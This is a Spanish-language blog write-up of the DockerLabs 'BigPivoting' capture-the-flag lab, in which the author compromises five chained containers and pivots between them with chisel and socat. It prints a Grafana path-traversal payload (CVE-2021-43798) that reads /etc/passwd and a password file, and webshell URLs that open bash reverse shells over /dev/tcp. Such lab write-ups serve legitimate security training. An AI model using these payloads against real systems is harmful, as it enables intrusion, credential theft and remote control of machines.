Resolución del laboratorio BigPivoting | DockerLaps.es | WriteUp

 

BigPivoting



Que tal lord & lady


El día de hoy amanecí con unas tremendas ganas de comerme el mundo así que, hoy les traigo no solo la resolución de maquina, si no de 5.

Hoy veremos el laboratorio de BigPivoting de una de mis 2 plataformas favoritas, dockerlabs.es.

En este laboratorio pondremos en practica nuestros conocimientos acerca del pentesting clásico, además de la técnica del pivoting que ya habíamos realizado en nuestro Writeup anterior, el laboratorio de LittlePivoting de la misma plataforma de hacking ético.

Requisitos previos:

- Tener configurado al menos una virtual como Kali o Parrot (link aquí)



Consejos previos

Cuando comencé este laboratorio, jamás pensé que seria un trayecto de mucha paciencia, te recomiendo que inicies con los consejos que te dejo al final de este Writeup.

Sin mas ni mas, comenzamos.



Write Up Laboratorio BigPivotting #dockerlabs.es

Preparando laboratorio

Para poder desplegar nuestro laboratorio BigPivoting tendremos que:

- Descargar el archivo de Mega en nuestra maquina Kali

- Ejecutar el siguiente comando:

$ sudo ./auto_deploy.sh inclusion.tar move.tar trust.tar upload.tar whereismywebshell.tar

Y solo hay que esperar a que se termine de desplegar con docker nuestro laboratorio.

Básicamente, esta pantalla en la terminal se quedará abierta mientras estamos trabajando/Hackeando.


Al final te debe quedar desplegado el laboratorio "BigPivoting" de la siguiente manera:


Reconocimiento [10.10.10.2]

Para nuestro Recon, vamos a ingerir que ya estamos conectados a la red donde vamos a realizar el pentesting, así que comenzamos por ver que IPs tenemos disponibles:

Mi IP:




Host Discovery:

Para esto hay algunas formas de realizarlo, anteriormente habíamos visto usar Nmap para esta tarea, ahora estaremos realizándolo con arp-scan:


Vale, vamos a estar trabajando sobre la IP 10.10.10.2:


Ping:


No olvidemos ir realizando nuestro mapa de red con canva:



Enumeración [10.10.10.2]

Quick Scan:


Servicios y versiones:

Vulns con Nmap:

Los scripts de vulnerabilidades de Nmap nos encontró una carpeta en el sitio web, vamos a visualizar que hay:


Puerto 80 - Apache 2.4.57 (Debian)

Whatweb:



Sitio web + Wappalizer:



Shop:


Intentando un posible LFI:

Si metemos todo el contenido a un txt y filtramos por bash:


Tenemos 2 usuarios aparte de root.


Explotación [10.10.10.2] 

Fuerza bruta sobre SSH:

Vamos a utilizar la herramienta de HYDRA para realizar fuerza bruta de estos 2 nombres de usuario y por ejemplo un diccionario como rockyou.txt


Ingresamos a ssh con la nueva contraseña obtenida:


Actualizamos nuestro canva:



Post-Explotación [10.10.10.2]

Fuerza bruta para el 2do usuario:

Herramienta: suBF.sh

link: https://raw.githubusercontent.com/carlospolop/su-bruteforce/master/suBF.sh

Descargamos en nuestra maquina atacante:


Además de un mini rockyou:


Maquina victima [10.10.10.2]:

Realizamos la fuerza bruta:


Excelente, ya tenemos la contraseña del usuario seller, cambiamos de usuario:


Actualizamos nuestro canva:



Escalada de privilegios:


Según gtfobins, podemos escalar privilegios desde PHP de la siguiente manera:


Somos root!


Reconocimiento [sobre 10.10.10.2]

Vamos actualizar nuestro mapa en canva para ver que tenemos hasta ahora:

Ahora, a nuestra maquina recién pwneada, vamos a darle un seudónimo, por ejemplo "machine1":



Vamos a revisar con cuantas interfaces cuenta nuestra maquina comprometida


Esta maquina tiene otra interfaz de red, una que probablemente no podamos ver desde nuestra maquina de Kali:


Es decir, ahora nuestro mapa en el canva a cambiado ligeramente:


Ahora sobre nuestra maquina1 vamos a realizar un hostDiscovery, para ello vamos a utilizar una herramienta en bash muy sencilla pero efectiva:


#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "ping -c 1 10.10.10.$host &>/dev/null" && echo "[+] HOST 10.10.10.$host is alive!" &

done; wait


Pudiéramos pasarla desde nuestro Kali hacia la maquina1 y desde ahí ejecutarla:


Recordemos que nuestra IP de maquina1 es la 20.20.20.2, es decir, tenemos una maquina adicional:

Como no podemos hacer ping directamente desde nuestra maquina atacante hasta el destino que es la maquina2, vamos a tener que crear un tunes en la maquina1.

Para ello vamos a necesitar tener chisel como servidor en nuestra maquina atacante y chisel en la maquina 1 como cliente.

Pasamos chisel a la maquina1:

Maquina atacante:

Maquina1:



Maquina atacante:

Iniciamos servidor de chisel:


Maquina1:


Maquina atacante:

En nuestro servidor de chisel debemos tener una nueva conexión:

Para poder continuar, debemos asegurarnos que nuestro archivo de proxychains ("/etc/proxychains4.conf") tenga los siguientes cambios:

- Descomentamos la línea: dynamic_chain

- Comentar la línea: #strict_chain

- Agregar la siguiente línea al final: socks5 127.0.0.1 1080

Actualizamos nuestro canva:


Vale, ya tenemos todo para seguir con nuestro pentesting ahora en la maquina 20.20.20.3


Enumeración [20.20.20.3]

Quick scan:


Servicios y versiones:

Puerto 21:

Este puerto no me ha dado nada de resultados con nmap , pero veamos utilizando el proxychains para conectarnos y ver si con usuario anonymous podemos entrar:

Bueno, hemos obtenido un archivo, database.kdbx.

Estos archivos son comunes en programas como keepass, intente abrirlo pero obviamente, pide una contraseña, al cual no tenemos, de momento.


Bien, guardaremos este archivo y vemos que encontramos más adelante.


Puerto 22:


Puerto 80:



Puerto 3000:


Este puerto nos regresa bastante información...


Explotación [20.20.20.3]

Para el puerto 3000 indagando y probando un rato me encontré con el siguiente link el cual indica que esta versión de Grafana es vulnerable a "directory path traversal" y a lectura arbitraria de archivos.

Probando un poco utilice el siguiente payload gracias al cve CVE-2021-43798 y a un repositorio de Github:

Payload:

http://20.20.20.3:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

¿Que podemos extraer de aquí?

Usuarios, efectivamente

Tenemos 1 usuario adicional a root, freddy.


¿Y el "/etc/shadow"?

No se puede ver :(


¿Que se me ocurre hacer aquí? 2 cosas:

- Fuerza bruta:

- Log Poisoning


Fuerza Bruta con Hydra a SSH:

No sirvio de nada, no termine pero pos weno...


Me he estancado, iré a dar una vuelta...

he vuelto y se me ha ocurrido algo... fuzzing!!!


Fuzzing en busca de archivos...

Dado a que tenemos un LFI, podríamos realizar fuzzing de diferentes directorios como:

/home/grafana/:



/home/grafana/Desktop/:


/home/grafana/Documents/:



/tmp/:

Epale!

Encontramos algo...


Recurso:

http://20.20.20.3:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpass.txt


Tenemos un password: t9sH76gpQ82UFeZ3GXZS


Podríamos usarla en:

- ssh usuario root:

No BUU!!!


- archivo keypass:


Pero pudiéramos intentar usar esta contraseña para el usuario freddy por ssh:


Actualizamos nuestro canva:



Post-Explotación [20.20.20.3]

sudo:


Bien, podemos ejecutar sin contraseña el comando:
/usr/bin/python3 /opt/maintenance.py


Afortunadamente somos propietarios de este archivo de python,

Vamos a ver si podemos modificarlo un poco y ejecutamos:


Somos root!

Actualizamos nuestro canva:

Tenemos pwneada la segunda maquina!


Reconocimiento [sobre 20.20.20.3]

Vamos a revisar si esta maquina tiene otras interfaces:


Y así es!

Tenemos además de la ip 20.20.20.3, la 30.30.30.2

Primero que nada, vamos a actualizar nuestro mapa en canva:


Ahora, debemos revisar si hay más maquinas a las que podamos llegar utilizando esta interfaz.

Para ello vamos recurrir a nuestro script de confianza, utilizando el comando ping:


Sin ping en la maquina2.

Vamos a intentar con echo '' a la interfaz de red por un puerto digamos el 80:


Tenemos una nueva IP.

Vamos a actualizar nuestro canva:


Como ya deberíamos comprender, nuestra maquina de Kali, de momento se encuentra alejada de esta maquina (la 30.30.30.2) para poder realizar un pentesting tradicional.

Necesitaríamos conectar un cliente de chisel para se pueda crear un tunel entre la maquina2 pwneada y nuestra maquina atacante.


OJO: aquí he colocado ahora un nuevo puerto para esta nueva conexión, el 1081.

Para poder continuar necesitamos chisel en la maquina2.

Vamos a pasar chisel, ya que lo tenemos en la maquina1, deberíamos pasarlo fácilmente utilizando una herramienta como scp:

Desde la maquina2:


Maquina1:

Vamos a necesitar socat aquí, entonces pasamos socat desde nuestra maquina atacante:

Maquina atacante:


Maquina1:


Ejecutamos socat en maquina1:


¿Qué hemos hecho hasta ahora?

- Tener socat y ejecutarlo como retransmisor de trafico

- en el puerto local 3001 en la maquina1 esta intentando esperar el trafico

- todo lo que reciba en este puerto lo redirigirá hacia el puerto 1234 de la maquina atacante, es decir, la 10.10.10.1

¿Por qué al puerto 1234?

Por que justo es el puerto que tiene abierto chisel como servidor para el túnel.



Terminamos de configurar nuestro túnel en la maquina2:

Maquina2:


Listo! hemos configurado el túnel desde la maquina2 hacia la maquina atacante a través de socat.

Si vamos a nuestra maquina atacante deberíamos ver una nueva conexión a nuestro servidor de chisel:

No olvidemos configurar nuestro proxychains para poder ver este túnel.


Actualizamos nuestro mapa en canva:

Ahora si, estamos listos para continuar con nuestro pentesting ahora en el nuevo segmento de red, 30.30.30.2.


Enumeración [30.30.30.2]

Escaneo de puertos servicios y versiones:

Tenemos 2 puertos, el 22 y el 80.


Vamos a ver que hay en el 80:

Whatweb:


Sitio web:

Fuzzing:


Ya vamos viendo cosas:

Vamos a ver el recurso de secret.php:

No hay mucho, pero lo suficiente... tenemos un posible usuario.


Explotación [30.30.30.2]

Fuerza bruta:


Actualizamos nuestro canva:

Intentamos entrar por ssh:


Estamos dentro!


Post-Explotación [30.30.30.2]

SUDOERS

Según gtfobins:

Intentamos obtener una bash:

Somos root!

Actualizamos canva:


Verificamos interfaces:

Tenemos nueva interfaz

Actualizamos canva:



Reconocimiento [sobre 40.40.40.2]

Vemos si contamos con ping:



Intentaremos realizar un host discovery con bash:

Tenemos nueva maquina para atacar padrinos!

Actualizamos nuestro canva:

Cada vez se pone mas bueno!

Para poder continuar vamos a necesitar estar presentes en un túnel desde la maquina3 hacia la maquina atacante.

Para ello vamos a necesitar socat tanto en la maquina1 como en la maquina2

Y chisel en la maquina3.

Al final debería quedarnos una configuración de la siguiente manera:



Pues bien, vamos a preparar maquina2:

Lanzamos socat:


Lanzamos también maquina1:

Ahora bien, preparamos maquina3:



Si todo ha ido bien, en el servidor deberíamos ver una nueva conexión a chisel server:


Agregamos este nuevo túnel a nuestro proxychains (/etc/proxychains4.conf)


Ahora si, estamos listos para continuar con nuestro pentesting de la nueva maquina4.


Enumeración [40.40.40.3]

Escaneo de puertos, servicios y versiones:

Tenemos un puerto, el 80.


Whatweb:

Por lo pronto no se ve gran cosa, pero es bueno hacer el whatweb para ver tecnologias...


Sitio web:

No olvidemos configurar nuestro proxy en Firefox:


Pagina:


Explotación [40.40.40.3]

Subiendo archivo php malicioso:

Seleccionamos nuestro archivo php malicioso, el cual te recuerdo contiene el siguiente código:


Lo intentamos subir:



Excelente!

¿Pero a donde se subió el archivo?

Si pensamos como programadores (yo soy programador XD) pudiéramos crear una carpeta que se llame uploads.

De no ser así pudiéramos hacer fuzzing, pero primero vamos a revisar...

Efectivamente, ahí se encuentra

Vamos a intentar ejecutar el poderosisímo whoami:

Perfecto, vamos a ejecutar un comando que nos permita obtener una reverseShell...


Que bueno sería ejecutar una reverseShell y ya pero para nuestro caso, vamos a necesitar redirigir el trafico con socat:

Debería quedarnos algo así:


Si, son muchas conexiones de redireccionamiento de trafico, pero así es esto del abarrote!

Preparamos maquina1:



Preparamos maquina2:



Preparamos maquina3:


Preparamos maquina atacante:


Preparamos el payload para la reverseShell hacia la maquina próxima, que en nuestro caso es la 40.40.40.2:


http://40.40.40.3/uploads/cmd.php?cmd=bash -c "bash -i >%26 /dev/tcp/40.40.40.2/4431 0>%261"


Damos enter:

Si todo ha ido bien, deberíamos tener una reverseShell de la maquina4, pasando por todas las conexiones redirigiendo el trafico con socat:


Neta que qué put05 crack somos!

Estamos dentro!

Actualizamos nuestro canva:



Post-Explotación [40.40.40.3]

Full tty:

Bien, ya debemos tener una tty totalmente interactiva, para mayor comodidas de usar las flechas y que el Ctrl + L, Ctrl + C no nos lleve al carajo.


Privilege escalation

SUDOERS

Parece ser que podemos ejecutar el comando "env" como si fueramos root.


Veamos si podemos escalar privilegios y obtener una bash:

Papaya de celaya!

Somos root!


Actualizamos nuestro canva:



Verificamos interfaces:


Habemus nueva interfaz!

Actualizamos canva rápidamente:



Reconocimiento [sobre 40.40.40.3]

Realizamos un reconocimiento en la maquina4.

Para ello vamos a ver si tenemos ping instalado:


Buuuu!!!

No tenemos instalado ping.

Vamos a tirar de un echo sobre /dev/tcp a las respectivas IPs utilizando la nueva interfaz:


Tenemos nueva maquina para realizar pentesting.

Actualizamos nuestro canva, como buena practica:

Como ya deberíamos saber, necesitamos un nuevo túnel que vaya desde la maquina4 hasta nuestra maquina atacante.

Para ello debemos pasar por la maquina1, maquina2 y la maquina3.

Estas deberán contener y ejecutar socat para poder redirigir el trafico. 

Mientras tanto nuestra maquina5 deberá conectarse con chisel en modo cliente hacia nuestro chisel server.

Vamos a preparar nuestras maquinas:

Maquina1:

Maquina2:

Maquina3:


Maquina4:

Obtenemos tanto chisel como socat:


Terminamos de configurar maquina3:


Terminamos con maquina4:



Si todo ha ido bien, tenemos una nueva conexión de túnel en nuestra maquina atacante, en chisel server:

No olvidemos configurar nuestro proxychains (/etc/proxychains4.conf):


Ahora si, listos para empezar un nuevo pentesting sobre nuestra nueva maquina5 (50.50.50.3).

Por cierto, actualizamos nuestro canva:



Enumeración [50.50.50.3]

Escaneo de puertos, servicios y versiones:


Tenemos 2 puertos, 22 y 80.


Vamos a darle un vistazo al puerto 80, que es un sitio web:

Whatweb:


¿Qué tenemos? una academia de ingles!


Sitio web:

No olvidemos agregar el proxy a Firefox:



Sitio:

Código (Ctrl + U):

No se ve nada interesante, aún...


... 

Cuando bajamos en el sitio encontramos una "pista"?


Vamos a ver si visualizamos algo?


Bien

Cuando menos a nivel web no alcanzamos a visualizar nada pero, me da tal ves alguna pista de:

- tal ves hay un LFI

- tal ves hay algo en la carpeta /tmp de la maquina victima

Tendremos esto en cuenta.


Por ahora realizaré un poco de fuzzing:


Fuzzing

Directorios y archivos:


Interesante!

Tenemos un recurso shell.php que por cierto, manda un error 500!



Vamos a revisar el otro recurso, warning.html


Vale! tenemos una webshell pero no sabemos como hacer la intrusión, falta un parámetro...

Algo que se me ocurre intentar hacer es fuzzing con wfuzz para ver si damos con el parámetro:


Todo apunta a que va a demorar lo suyo, dejémoslo ahí, mientras me asearé un poco :)

Si no llegáramos a encontrar nada, necesitaremos otro diccionario... 


Después de mandar todo a la sh**t entre mis conexiones y dejar pasar un día por que me estrese intentando reconectar todo nuevamente y ejecutar un nuevo fuzzing y esperar cerca de algunas horas, por fin di con el parámetro:


El parámetro es ... "parameter"

¿Porqué pUt**555 no se me ocurrió?

Bueno, continuemos!


Explotación [50.50.50.3]

webshell


Estableciendo reverseShell

Para esto hay que preparar las maquinas intermedias para poder redirigir el trafico hasta nuestra maquina victima.

El mapa de nuestra nueva conexión deberá quedar de la siguiente manera:


Aun que para poder hacer esto, necesitamos una reverseShell nueva hacia la maquina4, esto implica una nueva configuración de cadena de socats.

Al final debería quedar algo de la siguiente manera:


Si lo se, ya se lo que estas pensando pero venga, vamos hacer esta majestuosa conectividad:

Preparando socats para maquina4

Preparando maquina1:



Preparando maquina2:


Preparando maquina3:


Preparando maquina atacante:



Lanzamos nuestro payload de Firefox de la cmd.php nuevamente y no deberíamos tener ningún problema para obtener nuestra reverseShell a la maquina4.


Preparando conexiones para entablar una reverseShell a la maquina5

Preparamos maquina1:


Preparamos maquina2:


Preparamos maquina3:


Preparamos maquina4:


Preparamos maquina atacante:

Vamos a Firefox y ejecutamos la siguiente linea:


http://50.50.50.3/shell.php?parameter=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/50.50.50.2/4433%200%3E%261%22


Damos enter:

Si todo hay ido bien, deberíamos tener una reverseShell desde la maquina5 hasta nuestra maquina de Kali:


Estamos dentro!

Como buena practica, actualizamos nuestro mapa:


Post-Explotación [50.50.50.3]

Full stty



Ahora vamos a buscar ser root.


Privilege escalation

Otros usuarios:


Solo tenemos root.


SUDOERS:

Sin sudo!


Permisos SUID (4000)

Parece ser que por aquí no vamos a lograr privesc.


Vamos a necesitar enumerar mucho más...


Esperen, paren todo!

¿Recuerdas el mensajito que nos dejaron de regalo en la pagina?


Vamos a ver que encontramos:


Ulala!


Intentamos cambiar a usuario root:


Finalmente somos root!

Actualizamos nuestro mapa en canva:


¿Más interfaces?

Vamos a ver si aun contamos con la paciencia de ir a revisar nuevas interfaces en nuestra nueva maquina5:


Vaya! por fin , hemos llegado al final de la línea.


Conclusiones

En esta ocasión nos hemos entretenido por algunas horas resolviendo este grandioso laboratorio llamado "BigPivoting" en el cual hemos reforzado nuestros conocimientos de Pivoteo con herramientas como chisel y socat.

Por supuesto, hay otras herramientas que podemos utilizar, incluso el mismísimo SSH incluye ya el redireccionamiento de puertos, pero para nuestra practica utilizando estas herramientas y una línea bastante larga de túneles y redireccionamiento de puertos vino bien.


Resultado final




Lecciones aprendidas / Consejos

Una cosa que si me gustaría comentar y recalcar es, una vez que hayas comprometido una maquina, te recomiendo que abras no solo una, ni dos, ni tres conexiones de SSH o reverseShell, si te recomendaría que abrieras al menos 7 sesiones, ¿Porque? por que conforme vas adentrándote en el Pivoting , cada ves vas a necesitar más conexiones para poder configurar ya sea un túnel o un socat.

Solo para que te des una idea, estas fueron las sesiones que tuve que abrir de las maquinas comprometidas para redirigir el trafico:

Maquina1:

7 sesiones para redirigir el trafico, 2 libres


Maquina2:

6 sesiones para redirigir el trafico, 3 libres


Maquina3:

5 sesiones para redirigir el trafico, 4 libres


Maquina4:


2 sesiones para redirigir el trafico, 0 libres :(


Maquina5:

0 sesiones para redirigir el trafico, 1 libre activa


Bien llegamos al final de todo, espero estas maquinas/laboratorio de dockerlabs y este Writeup te hallan llevado por el camino del bien y no del estrés.

Nos vemos en una siguiente resolución de maquina.

Chao!


Comentarios

  1. Hola, gracias a ti he conseguido hacer little pivoting, solo te quiero dar un fuerte aplauso porque eres de los pocos que lo explican tan bien graficamente y textualmente, entre a este post pensando que seria parecido en dificultad ala de little pivotying pero ya veo que lo de dificultad dificil no es broma jajjajaja. Nada pues eso, un fuerte aplauso crack, yo me pegaria un tiro haciendo esta maquina virtual, llevo poquito tiempo cacharreando en el mundo del hacking etico pero me apasiona, llevare como mucho no se, 6-8 dias y se que no voy a parar porque quiero que mi trabajo en el futuro sea enfocado a esto. Bueno q m enrollo mas q las persianas xd, eso q erees un puto crack sigue asi.
    saludos desde españa

    ResponderEliminar
    Respuestas
    1. Que tal @burpi.
      Muchas gracias por tu gran comentario, en verdad me da mucho gusto que hayas podido realizar LittlePivoting y que te sigas entusiasmando por el hacking y que lo lleves hasta el ámbito profesional, sigamos aprendiendo que este rubro es de actualización constante.
      Un gran saludo y abrazo desde México.

      Eliminar

Publicar un comentario